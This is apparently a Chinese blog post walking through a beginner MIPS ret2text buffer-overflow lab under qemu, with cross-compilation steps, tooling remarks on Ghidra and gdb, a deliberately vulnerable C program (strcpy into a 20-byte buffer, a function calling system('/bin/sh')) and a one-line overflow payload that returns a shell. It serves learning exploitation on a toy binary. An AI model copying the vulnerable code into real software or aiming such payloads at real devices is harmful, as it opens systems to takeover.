最近看了一些mips 的文章 感觉手很痒,,, 路由器的指令框架基本是mips的
然后 我这里来搭建一下 mips
第一呢 就是下载mips的gcc 的版本
这个 其实很好整了 百度一搜一大把
然后 需要静态链接
mips-linux-gnu-gcc -g ret2text.c -o ret2text -static
然后就可以 直接运行程序
(前提是 安装qemu)
然后 程序是 我根据安全客 的一个师傅写的demo 看的
反编译 工具的话 我不太推荐那个 ida 插件 (我装了 一天都没有装上 )推荐 jeb-mips 或者是 ghidra(这个工具我是真香了)
然后我在这里直接粘贴出源码
#include <stdio.h>
void vuln(){
system("/bin/sh");
}
void has_stack(char *src){
char dst[20] = {0};
strcpy(dst,src);
printf("copy success!n");
}
void main(int argc,char *argv[]){
has_stack(argv[1]);
}
然后 ghidra 工具的 反汇编效果
感觉确实很好用 基本都分析出来了
然后 gdb 调试的话 我用的是 DVRF 这个靶场带的 gdb 感觉 还可以
然后 是远程调试
这里发现了 返回地址 那么只需要覆盖一下就可以了
发现这里并没有成功 因为我们这里是大端 然后前面那个 00400850 的00 截断了 所以 我们要化成小端 的 一开始小端的一直不行 这里我 用了 buildroot的 qemu-mips ./ret2text `python -c "print 'a'*28+'\x00\x40\x08\x48'"`
小端的话 直接可以拿到shell了
ok 完结 撒花~
参考链接
https://www.anquanke.com/post/id/84580
https://www.anquanke.com/post/id/171918
https://www.cnblogs.com/WangAoBo/p/debug-arm-mips-on-linux.html